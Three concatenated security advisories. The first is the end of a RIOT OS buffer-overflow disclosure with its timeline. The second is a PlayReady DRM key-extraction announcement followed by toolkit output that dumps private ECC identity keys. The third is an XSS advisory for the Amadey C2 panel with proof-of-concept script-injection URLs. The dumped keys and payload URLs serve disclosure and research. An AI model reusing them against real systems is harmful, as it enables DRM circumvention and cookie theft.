emcute_sub_t *s;<br /> for (s = subs; s; s = s->next) {<br /> if (s->next == sub) {<br /> s->next = sub->next;<br /> break;<br /> }<br /> }<br /> }<br /> }<br /><br /> mutex_unlock(&txlock);<br /> return res;<br />}<br />```<br /><br />If the unchecked input above is attacker-controlled and crosses a security<br />boundary, the impact of the buffer overflow vulnerabilities could range from<br />denial of service to arbitrary code execution.<br /><br />There is currently no fix for these issues. RIOT maintainers do not consider<br />them to be security critical bugs and therefore they are currently discussing<br />them publicly.<br /><br />See also:<br />https://github.com/RIOT-OS/RIOT/security/advisories/GHSA-x27v-gqp4-7jq3<br /><br /><br />--[ 4 - Affected products<br /><br />RIOT 2024.01 and (likely) earlier versions are affected by the vulnerabilities<br />discussed in this advisory.<br /><br /><br />--[ 5 - Remediation<br /><br />RIOT maintainers have fixed all the vulnerabilities discussed in this advisory,<br />except for those reported in GHSA-x27v-gqp4-7jq3, which are not considered<br />security critical bugs and are currently being discussed publicly.<br /><br />Please check the official RIOT channels for further information about fixes.<br /><br /><br />--[ 6 - Disclosure timeline<br /><br />We reported the vulnerabilities discussed in this advisory to RIOT maintainers<br />in January 2024, via the handy private reporting feature [8] that is available<br />on GitHub.<br /><br />We are not sure of the reason of the significant delay in the initial<br />maintainers' response. However, once we got their attention they quickly<br />triaged and fixed all vulnerabilities. They also informed us that:<br /><br />* They are treating such delay as an additional security incident.<br />* They added another maintainer to the security group as an immediate action.<br />* They plan on discussing this shortcoming on the next maintainer assembly to<br /> find a long term solution.<br /><br />The coordinated disclosure timeline follows:<br /><br />2024-01-10: Reported the first vulnerability to the RIOT project.<br />2024-01-11: Reported four more vulnerabilities.<br />2024-01-12: Reported the rest of the vulnerabilities.<br />2024-02-09: Asked for feedback on <security@riot-os.org>.<br />2024-03-05: Asked again for feedback on <security@riot-os.org>.<br />2024-04-05: Asked again for feedback via GitHub and got the first reply.<br />2024-04-06: Started collaborating with RIOT to evaluate proposed fixes.<br />2024-04-10: First security advisory published on GitHub.<br />2024-04-17: Another security advisory published on GitHub.<br />2024-04-24: Asked for a status update on the remaining reports.<br />2024-04-25: Two more security advisories published on GitHub.<br />2024-04-26: Another security advisory published on GitHub.<br />2024-04-30: Three more security advisories published on GitHub.<br />2024-05-07: Published advisory and writeup.<br /><br /><br />--[ 7 - Acknowledgments<br /><br />We would like to thank RIOT maintainers for triaging and fixing the reported<br />vulnerabilities in a particularly friendly and professional way. We really<br />appreciated working with them!<br /><br /><br />--[ 8 - References<br /><br />[1] https://www.riot-os.org/<br />[2] https://github.com/RIOT-OS/RIOT<br />[3] https://security.humanativaspa.it/ost2-zephyr-rtos-and-a-bunch-of-cves/<br />[4] https://security.humanativaspa.it/multiple-vulnerabilities-in-rt-thread-rtos/<br />[5] https://security.humanativaspa.it/big-update-to-my-semgrep-c-cpp-ruleset/<br />[6] https://security.humanativaspa.it/a-collection-of-weggli-patterns-for-c-cpp-vulnerability-research/<br />[7] https://github.com/gkostka/lwext4/blob/58bcf89a121b72d4fb66334f1693d3b30e4cb9c5/src/ext4.c#L75<br />[8] https://docs.github.com/en/code-security/security-advisories<br /><br /><br />Copyright (c) 2024 Marco Ivaldi and Humanativa Group. All rights reserved.<br /></code></pre>
<pre><code>Hello All,<br /><br />We have come up with two attack scenarios that make it possible to<br />extract private ECC keys used by a PlayReady client (Windows SW DRM<br />scenario) for the communication with a license server and identity<br />purposes.<br /><br />More specifically, we successfully demonstrated the extraction of the<br />following keys:<br />- private signing key used to digitally sign license requests issued<br />by PlayReady client,<br />- private encryption key used to decrypt license responses received by<br />the client (decrypt license blobs carrying encrypted content keys).<br /><br />A proof for the above (which Microsoft should be able to confirm) is<br />available at this link:<br />https://security-explorations.com/samples/wbpmp_id_compromise_proof.txt<br /><br />While PlayReady security is primary about security of content keys,<br />ECC keys that make up client identity are even more important. Upon<br />compromise, these keys can be used to mimic a PlayReady client outside<br />of a Protected Media Path environment and regardless of the imposed<br />security restrictions.<br /><br />In that context, extraction of ECC keys used as part of a PlayReady<br />client identity constitute an ultimate compromise of a PlayReady<br />client on Windows ("escape" of the PMP environment, ability to request<br />licenses and decrypt content keys).<br /><br />Content key extraction from Protected Media Path process (through XOR<br />key or white-box crypto data structures) in a combination with this<br />latest identity compromise attack means that there is nothing left to<br />break when it comes to Windows SW DRM implementation.<br /><br />Let this serve as a reminder that PlayReady content protection<br />implemented in software and on a client side has little chances of a<br />“survival” (understood as a state of not being successfully reverse<br />engineered and compromised). In that context, this is vendor’s<br />responsibility to constantly increase the bar and with the use of all<br />available technological means.<br /><br />Thank you.<br /><br />Best Regards,<br />Adam Gowdiak<br /><br />----------------------------------<br />Security Explorations -<br />AG Security Research Lab<br />https://security-explorations.com<br />----------------------------------<br /><br /><br />Packet Storm Editor Note - below is wbpmp_id_compromise_proof.txt<br /><br /><br />c:\_MNT\PROJECTS\WBPMP\code\toolkit>shell<br /># MS Play Ready / Canal+ VOD toolkit<br /># (c) Security Explorations 2016-2019 Poland<br /># (c) AG Security Research 2019-2022 Poland<br /><br />loaded cdn [CDN helper]<br />loaded mspr [MS Play Ready toolkit]<br />loaded vod [CANALP VOD toolkit]<br />loaded cgaweb [CANALP CGAWeb toolkit]<br />msprcp> set CDM_DIR cdm\w10<br />msprcp> identity<br />0C86330B0E98CD7C586F336088DAFA0E<br />4F72F3CBDC81C849F635AE556A73679F<br />902B255736B6E891F3AF30F98B0A5DBA<br />D9A5C7A90F8DEA029AA8FB1C95887BE3<br />E82DFAE7A9DB21FC1ECF33C1DADC54B7<br />msprcp> identity 0C86330B0E98CD7C586F336088DAFA0E -v<br />[0C86330B0E98CD7C586F336088DAFA0E]<br /><br />PRKF<br /> version: 3<br /> attr: 100c Unknown<br /> data<br /> 0000: 00 04 00 00 ....<br /> attr: 1000 Unknown<br /> data<br /> 0000: 00 01 10 01 00 00 00 2c 00 02 00 80 00 01 00 00 .......,........<br /> 0010: ea 3c 67 da 4e 43 de e0 00 00 00 10 30 e1 4c db .<g.NC......0.L.<br /> 0020: 9d 23 9e 97 f7 1d ac 03 13 c2 2b 69 00 01 10 02 .#........+i....<br /> 0030: 00 00 00 7c 00 01 01 00 00 00 00 40 cb 27 6f 9f ...|.......@.'o.<br /> 0040: 9f 76 46 64 54 23 19 ef 9c c7 69 0f 9c 3b e3 75 .vFdT#....i..;.u<br /> 0050: 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d f7 10 1c 69 ..x*.......m...i<br /> 0060: 94 2c 4d 07 d9 68 8b 61 09 85 bb d3 4e e8 58 20 .,M..h.a....N.X.<br /> 0070: e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d 00 62 e4 7a .........Ye}.b.z<br /> 0080: 4a 93 87 21 00 00 00 20 93 de eb 4b ab b4 b2 c1 J..!.......K....<br /> 0090: 71 9b 3c fc cf a8 b9 7e f2 a9 4f e1 07 39 17 fd q.<.......O..9..<br /> 00a0: 23 10 72 8a 29 95 bf d8 00 01 10 11 00 00 00 3c #.r.)..........<<br /> 00b0: 00 02 00 80 2d 82 c1 90 50 2c e7 55 00 00 00 10 ....-...P,.U....<br /> 00c0: 8f 03 13 45 06 c3 b4 3e fb 7f 1d 77 e8 ca 2d 07 ...E...>...w..-.<br /> 00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> 00e0: 00 00 00 00 ....<br /> attr: 1009 Identities<br /> IdentityInfo<br /> pubkey<br /> 0000: f0 34 a0 f4 28 79 dc a4 73 88 c8 fa a6 46 40 94 .4..(y..s....F@.<br /> 0010: ef 10 f7 4b f4 42 5e 2e 51 c1 08 67 9d 9a 4b 2e ...K.B^.Q..g..K.<br /> 0020: af 2b ed 89 8e dd bb eb 1b ad 68 df 9c 33 d2 8b .+........h..3..<br /> 0030: 1d f3 a5 77 1a d2 a0 a3 b9 4d 83 6d 24 a4 2a 03 ...w.....M.m$.*.<br /> prvkey<br /> 0000: 31 d5 b7 ab dd 28 44 52 3b 8a ac 6c e2 c5 4e 34 1....(DR;..l..N4<br /> 0010: 61 1d 97 8f e1 4f 63 e9 c0 14 8a 83 6c 5f 3f cc a....Oc.....l_?.<br /> IdentityInfo<br /> pubkey<br /> 0000: 42 b2 a0 ff 38 1c 34 cc 67 06 3b 50 e1 2e 0d de B...8.4.g.;P....<br /> 0010: 74 49 55 29 38 ef 66 0c 60 5c 90 9f 8c b0 49 43 tIU)8.f.......IC<br /> 0020: 0f e7 a8 1f 2f 67 5a b2 90 5c 3e 2e 99 62 19 b4 ..../gZ...>..b..<br /> 0030: 4a 39 8b 23 64 5e 4c d7 cc 95 38 bd 3c d3 2b f7 J9.#d^L...8.<.+.<br /> prvkey<br /> 0000: d7 60 5c 71 57 a0 01 7c 58 e2 e7 79 a8 b1 12 55 ...qW..|X..y...U<br /> 0010: 1d 72 14 f0 d9 2c ef 04 6c cc 57 c1 2e 9b e3 b4 .r...,..l.W.....<br /> IdentityInfo<br /> pubkey<br /> 0000: cb 27 6f 9f 9f 76 46 64 54 23 19 ef 9c c7 69 0f .'o..vFdT#....i.<br /> 0010: 9c 3b e3 75 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d .;.u..x*.......m<br /> 0020: f7 10 1c 69 94 2c 4d 07 d9 68 8b 61 09 85 bb d3 ...i.,M..h.a....<br /> 0030: 4e e8 58 20 e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d N.X..........Ye}<br /> prvkey<br /> 0000: 4c 33 c6 8e 0e f1 b6 f1 0c d5 31 6b 40 94 aa 68 L3........1k@..h<br /> 0010: 32 cc 68 1b 00 3b fc 65 8b c4 3c e3 cb 62 de fc 2.h..;.e..<..b..<br /> 0020: 11 ef 51 7b 92 73 a1 84 24 ac 71 33 cf 76 d3 05 ..Q{.s..$.q3.v..<br /> 0030: 44 2d 4e 12 79 3f 3f 09 7a 4e 4d 51 ac 78 a7 3c D-N.y??.zNMQ.x.<<br /> 0040: 6b k<br /> IdentityCertChain<br /> CERT CHAIN:<br /> ### CERT<br /> - random<br /> 0000: 07 80 59 24 9a b6 7e 48 c3 7f 6d 38 30 af f0 b6 ..Y$...H..m80...<br /> - seclevel 2000<br /> - uniqueid<br /> 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> - pubkey_sign<br /> 0000: 42 b2 a0 ff 38 1c 34 cc 67 06 3b 50 e1 2e 0d de B...8.4.g.;P....<br /> 0010: 74 49 55 29 38 ef 66 0c 60 5c 90 9f 8c b0 49 43 tIU)8.f.......IC<br /> 0020: 0f e7 a8 1f 2f 67 5a b2 90 5c 3e 2e 99 62 19 b4 ..../gZ...>..b..<br /> 0030: 4a 39 8b 23 64 5e 4c d7 cc 95 38 bd 3c d3 2b f7 J9.#d^L...8.<.+.<br /> - pubkey_enc<br /> 0000: cb 27 6f 9f 9f 76 46 64 54 23 19 ef 9c c7 69 0f .'o..vFdT#....i.<br /> 0010: 9c 3b e3 75 8b d3 78 2a 8d 03 fb a8 bf 9e 1c 6d .;.u..x*.......m<br /> 0020: f7 10 1c 69 94 2c 4d 07 d9 68 8b 61 09 85 bb d3 ...i.,M..h.a....<br /> 0030: 4e e8 58 20 e2 0c c9 bc a9 a8 1e b7 f6 59 65 7d N.X..........Ye}<br /> - digest<br /> 0000: c5 c4 33 e5 4e b0 c5 b3 5b e9 89 9b de 89 b4 cd ..3.N...[.......<br /> 0010: e5 e1 c3 bb 80 c3 88 87 17 40 95 0b 3a 82 cc 89 .........@..:...<br /> - signature<br /> 0000: 23 ce 2a 20 50 24 8f 32 3d 5a 08 5c 88 dd 65 dd #.*.P$.2=Z....e.<br /> 0010: 93 66 be ec 7a d5 c6 39 80 66 c1 f5 36 4e b7 08 .f..z..9.f..6N..<br /> 0020: 9d 7b 59 05 79 3b 49 08 4f 94 af 7f b8 96 4e 81 .{Y.y;I.O.....N.<br /> 0030: bd ff fe 38 61 d8 08 90 96 2c b6 32 ee ba 75 5f ...8a....,.2..u_<br /> - signkey<br /> 0000: 59 86 b7 a2 a9 d6 b3 06 1f 5d 20 08 f6 97 ee f5 Y........]......<br /> 0010: bc c6 15 cb e6 4e f9 60 7a 83 55 3d c0 3a 21 b6 .....N..z.U=.:!.<br /> 0020: d4 c7 33 e2 71 7e 1c ad 00 e5 20 70 87 64 66 9e ..3.q......p.df.<br /> 0030: ee 5f 4d 78 b1 c6 42 3a f9 6f af 6a 44 cf ef 3d ._Mx..B:.o.jD..=<br /> - sig status: BAD SIGNATURE<br /> ### CERT<br /> - names<br /> * Microsoft<br /> * Windows<br /> * 6.4.9.000<br /> - random<br /> 0000: 28 37 b2 3d a4 70 a4 7f f0 8c 69 78 3c 6c 38 cd (7.=.p....ix<l8.<br /> - seclevel 2000<br /> - uniqueid<br /> 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> - pubkey_sign<br /> 0000: 59 86 b7 a2 a9 d6 b3 06 1f 5d 20 08 f6 97 ee f5 Y........]......<br /> 0010: bc c6 15 cb e6 4e f9 60 7a 83 55 3d c0 3a 21 b6 .....N..z.U=.:!.<br /> 0020: d4 c7 33 e2 71 7e 1c ad 00 e5 20 70 87 64 66 9e ..3.q......p.df.<br /> 0030: ee 5f 4d 78 b1 c6 42 3a f9 6f af 6a 44 cf ef 3d ._Mx..B:.o.jD..=<br /> - digest<br /> 0000: 68 d5 b6 78 9c 6c c4 63 36 50 62 4a cc 20 c0 08 h..x.l.c6PbJ....<br /> 0010: 16 1b 0a e9 31 0c 68 97 dc eb 1a 41 1b df 6b 75 ....1.h....A..ku<br /> - signature<br /> 0000: c2 a3 13 ec e8 a9 f0 77 70 df 3d 8b 2b ed 08 68 .......wp.=.+..h<br /> 0010: b0 79 c9 d2 40 84 26 a9 1d 16 00 4a 73 76 81 c7 .y..@.&....Jsv..<br /> 0020: aa 1f 75 78 6d 17 20 6e 15 e1 8f 2d 39 c8 db 05 ..uxm..n...-9...<br /> 0030: 00 0d b5 6f 88 27 04 ed a4 8f 24 7f c7 f7 da b4 ...o.'....$.....<br /> - signkey<br /> 0000: e7 3a 1b a7 c0 65 9e 6d 2f 45 5c 9d 80 91 cc da .:...e.m/E......<br /> 0010: 96 c9 63 6b 4f 63 a1 78 18 f5 54 e4 bd 19 97 14 ..ckOc.x..T.....<br /> 0020: 81 07 fe d9 8a bf 0e 6b 8e 96 81 58 e6 90 7c a7 .......k...X..|.<br /> 0030: df 1d 66 cf a3 58 f7 7b 1c 4e 62 d0 28 11 56 9c ..f..X.{.Nb.(.V.<br /> - sig status: OK<br /> ### CERT<br /> - names<br /> * Microsoft<br /> * PlayReady SL2000 Device Port- Windows Lib Codebase Version CA<br /> * 1.0.0.4<br /> - random<br /> 0000: db 51 85 24 63 ac 07 0b aa c9 91 f9 c4 0a 07 2a .Q.$c..........*<br /> - seclevel 2000<br /> - uniqueid<br /> 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> - pubkey_sign<br /> 0000: e7 3a 1b a7 c0 65 9e 6d 2f 45 5c 9d 80 91 cc da .:...e.m/E......<br /> 0010: 96 c9 63 6b 4f 63 a1 78 18 f5 54 e4 bd 19 97 14 ..ckOc.x..T.....<br /> 0020: 81 07 fe d9 8a bf 0e 6b 8e 96 81 58 e6 90 7c a7 .......k...X..|.<br /> 0030: df 1d 66 cf a3 58 f7 7b 1c 4e 62 d0 28 11 56 9c ..f..X.{.Nb.(.V.<br /> - digest<br /> 0000: 63 70 b4 92 33 b1 cf 78 7f 9e 36 01 29 e0 29 b2 cp..3..x..6.).).<br /> 0010: f7 cf b1 cc 0b 71 5d 6a 02 24 df 01 75 d2 2f 0e .....q]j.$..u./.<br /> - signature<br /> 0000: 99 f3 5b 4b 55 a8 8d a8 bd 18 db 94 8e b0 31 1f ..[KU.........1.<br /> 0010: 14 a4 43 41 64 f7 fd 81 cd 1e 57 68 0e f1 2c 40 ..CAd.....Wh..,@<br /> 0020: c4 c2 19 20 78 37 41 07 c1 e3 54 ec fb 64 19 18 ....x7A...T..d..<br /> 0030: 13 5b 2c 5a 34 7f 1f 48 7a 88 5a 02 33 e5 b9 76 .[,Z4..Hz.Z.3..v<br /> - signkey<br /> 0000: 7d 91 d4 6d 44 f0 29 2a bd b9 72 d7 9b dc bc f8 }..mD.)*..r.....<br /> 0010: 35 ad 17 27 cb c8 35 37 7e 91 43 58 44 f9 1b 3f 5..'..57..CXD..?<br /> 0020: 71 be 7c 6b 04 0d bf d4 f7 80 8b 7a 0c 47 f7 82 q.|k.......z.G..<br /> 0030: 30 2b 9c 29 5f 05 eb c3 92 71 f5 47 88 41 fd 1b 0+.)_....q.G.A..<br /> - sig status: OK<br /> ### CERT<br /> - names<br /> * Microsoft<br /> * PlayReady SL2000 Device Port - Windows Platform CA for x86/amd64<br /> * 1.0.0.3<br /> - random<br /> 0000: 4a ee c4 a0 0d c9 57 ab 14 52 de 28 54 42 f3 84 J.....W..R.(TB..<br /> - seclevel 2000<br /> - uniqueid<br /> 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> - pubkey_sign<br /> 0000: 7d 91 d4 6d 44 f0 29 2a bd b9 72 d7 9b dc bc f8 }..mD.)*..r.....<br /> 0010: 35 ad 17 27 cb c8 35 37 7e 91 43 58 44 f9 1b 3f 5..'..57..CXD..?<br /> 0020: 71 be 7c 6b 04 0d bf d4 f7 80 8b 7a 0c 47 f7 82 q.|k.......z.G..<br /> 0030: 30 2b 9c 29 5f 05 eb c3 92 71 f5 47 88 41 fd 1b 0+.)_....q.G.A..<br /> - digest<br /> 0000: 2f ad a9 0e 8f 7e 82 47 7a 2e 82 c3 6d 0c 20 c7 /......Gz...m...<br /> 0010: 0b 58 95 d7 2e 85 21 28 83 b1 9c 27 0b 49 dc 21 .X....!(...'.I.!<br /> - signature<br /> 0000: 9e fb bf 14 68 cc 5e 0f db 21 7d 11 dc 67 4a 23 ....h.^..!}..gJ#<br /> 0010: 71 c7 ac 34 73 bb 48 ee a3 33 c3 c9 55 62 2e c2 q..4s.H..3..Ub..<br /> 0020: bb 36 01 af cd dc 88 48 01 fa d2 2b 4b 3f e3 75 .6.....H...+K?.u<br /> 0030: 48 44 98 40 9d db 53 0f 44 25 a5 65 fd 29 61 7e HD.@..S.D%.e.)a.<br /> - signkey<br /> 0000: a1 87 e3 42 5c 05 f7 a4 52 85 d6 fe c8 17 f7 3b ...B....R......;<br /> 0010: 69 64 74 e2 b9 e1 61 4b a3 fa 51 b9 ad fe 9d 27 idt...aK..Q....'<br /> 0020: 3f 6a 4e 50 75 e0 1d f2 ab 18 61 e7 c2 e1 9b d2 ?jNPu.....a.....<br /> 0030: 87 99 86 8f 97 f7 cb a2 1d 97 73 19 ba b8 be 92 ..........s.....<br /> - sig status: OK<br /> ### CERT<br /> - names<br /> * Microsoft<br /> * PlayReady SL2000 Device Port + Link CA<br /> * 1.0.0.1<br /> - random<br /> 0000: ec aa b6 cd 0b 16 ca df e9 a8 82 52 b4 58 9c a9 ...........R.X..<br /> - seclevel 2000<br /> - uniqueid<br /> 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> - pubkey_sign<br /> 0000: a1 87 e3 42 5c 05 f7 a4 52 85 d6 fe c8 17 f7 3b ...B....R......;<br /> 0010: 69 64 74 e2 b9 e1 61 4b a3 fa 51 b9 ad fe 9d 27 idt...aK..Q....'<br /> 0020: 3f 6a 4e 50 75 e0 1d f2 ab 18 61 e7 c2 e1 9b d2 ?jNPu.....a.....<br /> 0030: 87 99 86 8f 97 f7 cb a2 1d 97 73 19 ba b8 be 92 ..........s.....<br /> - digest<br /> 0000: ed 0f 33 d6 b4 ab f0 8d c0 1a 47 1f d0 13 68 0e ..3.......G...h.<br /> 0010: 0c 12 e3 a9 ce d3 00 f9 9b 45 af 61 f1 68 4d 64 .........E.a.hMd<br /> - signature<br /> 0000: 31 60 bc 8c 1f 0e 5e fe ea 80 83 79 b4 ad 02 74 1.....^....y...t<br /> 0010: f1 c9 20 f9 c8 93 f0 ca 5c c7 72 e6 5c 97 8e 88 ..........r.....<br /> 0020: a8 9f c5 b0 7b b6 d0 8f 50 33 20 fa 34 03 4a ea ....{...P3..4.J.<br /> 0030: 68 91 01 d2 f0 cb 0f fa 4d 51 5c 25 93 c8 c2 12 h.......MQ.%....<br /> - signkey<br /> 0000: 86 4d 61 cf f2 25 6e 42 2c 56 8b 3c 28 00 1c fb .Ma..%nB,V.<(...<br /> 0010: 3e 15 27 65 85 84 ba 05 21 b7 9b 18 28 d9 36 de >.'e....!...(.6.<br /> 0020: 1d 82 6a 8f c3 e6 e7 fa 7a 90 d5 ca 29 46 f1 f6 ..j.....z...)F..<br /> 0030: 4a 2e fb 9f 5d cf fe 7e 43 4e b4 42 93 fa c5 ab J...]...CN.B....<br /> - sig status: OK<br /> attr: 1010 Unknown<br /> data<br /> 0000: 00 02 00 80 2d 82 c1 90 50 2c e7 55 00 00 00 10 ....-...P,.U....<br /> 0010: 9e 53 d0 8b 82 43 90 08 bb f4 25 2d 06 1d 79 0e .S...C....%-..y.<br /> 0020: b1 ff 09 8d 5a 7c 52 4d ae 22 40 b0 5e c8 4d 33 ....Z|RM."@.^.M3<br /> 0030: 00 05 00 00 ....<br /> attr: 1013 Unknown<br /> data<br /> 0000: 00 00 00 01 00 00 00 10 30 b3 3e b8 a1 31 ae 42 ........0.>..1.B<br /> 0010: ab 0d 43 74 c5 15 cd e0 ..Ct....<br /> attr: 1014 Unknown<br /> data<br /> 0000: 19 ec 66 7f 93 64 89 46 95 47 89 1d a5 37 12 f1 ..f..d.F.G...7..<br /> SignerCertChain<br /> CERT CHAIN:<br /> ### CERT<br /> - names<br /> * Microsoft<br /> * Microsoft KeyFileSigner<br /> * 1.0.0.1<br /> - random<br /> 0000: f0 6a b7 09 88 a4 c7 c8 1d f9 5c 6d cd e4 ab 52 .j.........m...R<br /> - seclevel 2000<br /> - uniqueid<br /> 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> - pubkey_sign<br /> 0000: 97 41 fa 59 bd 5e b8 22 80 b2 a9 e2 dd e5 70 87 .A.Y.^."......p.<br /> 0010: ce 91 07 e4 3b 12 81 69 fb a9 94 48 37 f4 9e 46 ....;..i...H7..F<br /> 0020: bb b7 11 b9 8f 4e c8 17 96 50 9d 05 f5 98 f7 a7 .....N...P......<br /> 0030: 5c 44 56 2d 4d 2a c3 4d 48 1a c7 4a 1d 48 16 c4 .DV-M*.MH..J.H..<br /> - digest<br /> 0000: b9 e0 29 a8 59 21 9c de c1 b5 75 58 4c e6 6d e3 ..).Y!....uXL.m.<br /> 0010: 08 8c 3e 43 05 14 26 fa 8d c0 3e a5 df f3 df bc ..>C..&...>.....<br /> - signature<br /> 0000: c8 b0 b2 4d 59 da e8 2b a5 b1 ac 61 95 54 85 ea ...MY..+...a.T..<br /> 0010: 32 a1 19 5f 45 9c 0d 54 a0 cf 43 86 54 64 41 c0 2.._E..T..C.TdA.<br /> 0020: 8a 02 e7 0d e1 49 aa 40 26 61 a9 e0 b8 77 d9 ac .....I.@&a...w..<br /> 0030: 1e 2d 3f 2c 7f 7c 29 82 74 c3 74 f9 11 5d f0 81 .-?,.|).t.t..]..<br /> - signkey<br /> 0000: af 6f af 3a 41 e4 a2 b9 eb cd 8c 95 a5 05 9b 11 .o.:A...........<br /> 0010: 38 a3 97 2a 1e c0 72 e3 24 52 78 b9 b5 49 28 f3 8..*..r.$Rx..I(.<br /> 0020: e0 28 3e 78 51 5d eb 6f 56 93 1a 5a 28 f3 aa b3 .(>xQ].oV..Z(...<br /> 0030: 04 c7 1f b5 b4 c7 f4 92 59 ed 21 f8 65 14 ec 33 ........Y.!.e..3<br /> - sig status: OK<br /> ### CERT<br /> - names<br /> * Microsoft<br /> * PlayReady SL2000 KeyFileSigner Root CA<br /> * 1.0.0.1<br /> - random<br /> 0000: d6 ac 35 b4 d8 5d b4 30 74 0c ac 05 ea 0c 1e 86 ..5..].0t.......<br /> - seclevel 2000<br /> - uniqueid<br /> 0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................<br /> - pubkey_sign<br /> 0000: af 6f af 3a 41 e4 a2 b9 eb cd 8c 95 a5 05 9b 11 .o.:A...........<br /> 0010: 38 a3 97 2a 1e c0 72 e3 24 52 78 b9 b5 49 28 f3 8..*..r.$Rx..I(.<br /> 0020: e0 28 3e 78 51 5d eb 6f 56 93 1a 5a 28 f3 aa b3 .(>xQ].oV..Z(...<br /> 0030: 04 c7 1f b5 b4 c7 f4 92 59 ed 21 f8 65 14 ec 33 ........Y.!.e..3<br /> - digest<br /> 0000: 71 01 a1 dd 80 f2 79 7a 2e 3c f2 f6 b9 bf 78 b0 q.....yz.<....x.<br /> 0010: ed 65 93 d5 42 cf 17 d4 0a c7 fa b0 18 82 3b 2f .e..B.........;/<br /> - signature<br /> 0000: af 18 1d 1a 7d 98 92 c5 df 3e ac b3 2a 17 d2 29 ....}....>..*..)<br /> 0010: 92 e9 7f 4c 0f b1 5a 3d bd 91 d9 e2 bb b9 34 87 ...L..Z=......4.<br /> 0020: e7 9b 00 bb 78 02 1f 5c a8 e0 f2 e0 0b d3 f9 b5 ....x...........<br /> 0030: 1a c5 e6 fe dd cd b4 1c 3f d7 89 d1 62 6a 5a 0b ........?...bjZ.<br /> - signkey<br /> 0000: 86 4d 61 cf f2 25 6e 42 2c 56 8b 3c 28 00 1c fb .Ma..%nB,V.<(...<br /> 0010: 3e 15 27 65 85 84 ba 05 21 b7 9b 18 28 d9 36 de >.'e....!...(.6.<br /> 0020: 1d 82 6a 8f c3 e6 e7 fa 7a 90 d5 ca 29 46 f1 f6 ..j.....z...)F..<br /> 0030: 4a 2e fb 9f 5d cf fe 7e 43 4e b4 42 93 fa c5 ab J...]...CN.B....<br /> - sig status: OK<br />msprcp> identity 0C86330B0E98CD7C586F336088DAFA0E -e 0C86330B0E98CD7C586F336088DAFA0E<br />0C86330B0E98CD7C586F336088DAFA0E.enc.pub (public encryption key)<br />0C86330B0E98CD7C586F336088DAFA0E.enc.prv (private encryption key)<br />0C86330B0E98CD7C586F336088DAFA0E.sig.pub (public signing key)<br />0C86330B0E98CD7C586F336088DAFA0E.sig.prv (private signing key)<br />msprcp> checkkeypair 0C86330B0E98CD7C586F336088DAFA0E.enc.prv.plain 0C86330B0E98CD7C586F336088DAFA0E.enc.pub<br />KEY CHECK:<br />- prv: 7704db9c130887d60a2c61b1891bbad64676ba56fe146fc6ecc2be993c1cb53d<br />- pub:<br /> X: cb276f9f9f764664542319ef9cc7690f9c3be3758bd3782a8d03fba8bf9e1c6d<br /> Y: f7101c69942c4d07d9688b610985bbd34ee85820e20cc9bca9a81eb7f659657d<br />KEY CHECK OK<br />msprcp><br /><br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024<br />Original source: https://malvuln.com/advisory/50467c891bf7de34d2d65fa93ab8b558.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Panel Amadey.d.c<br />Vulnerability: Cross Site Scripting (XSS)<br />Family: Amadey<br />Type: Web Panel<br />MD5: 50467c891bf7de34d2d65fa93ab8b558 (Login.php)<br />SHA256: 65623eead2bcba66817861246e842386d712c38c5c5558e50eb49cffa2a1035d<br />Vuln ID: MVID-2024-0680<br />Disclosure: 05/09/2024<br />Description: The Amadey C2 web panel is written in PHP for remote administration capability. The Login.php webpage accepts HTTP GET "l" and "p" parameters which are passed to the backend server side code: $_GET["l"] name=\"login\", $_GET["p"] , name=\"password\". However, there is no secure coding practice of filtering input or sanitization of output. Panel users who visit a third-party attacker website or click an infected link, can trigger arbitrary client side JS code execution in the security context of the current user. This can result in data theft or GEO location disclosure of the user accessing the Amadey web interface.<br /><br />The submit button contains the text "Unlock".<br />Entering incorrect password results in URI of "?wrong=1" and displays "Wrong login or password", after a few seconds delay redirects back to Login.php.<br /><br />http://127.0.0.1/Panel.Amadey.d.c/Login.php?wrong=1<br />Wrong login or password<br /><br />The web panel HTML source code for the URL "Login.php?wrong=1" contains the letters "CC" plus the Domain/IP within brackets[x.x.x.x] within the HTML title tag.<br /> %3Ctitle%3E CC [127.0.0.1] %3C/title%3E<br /><br />Tested successfully in Firefox.<br /><br /><br />Exploit/PoC:<br />Vulnerable parameters: "l" and "p"<br />http://x.x.x.x/Panel.Amadey.d.c/Login.php?l=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E<br />http://x.x.x.x/Panel.Amadey.d.c/Login.php?p=%22/%3E%3Cscript%3Ealert(666)%3C/script%3E<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
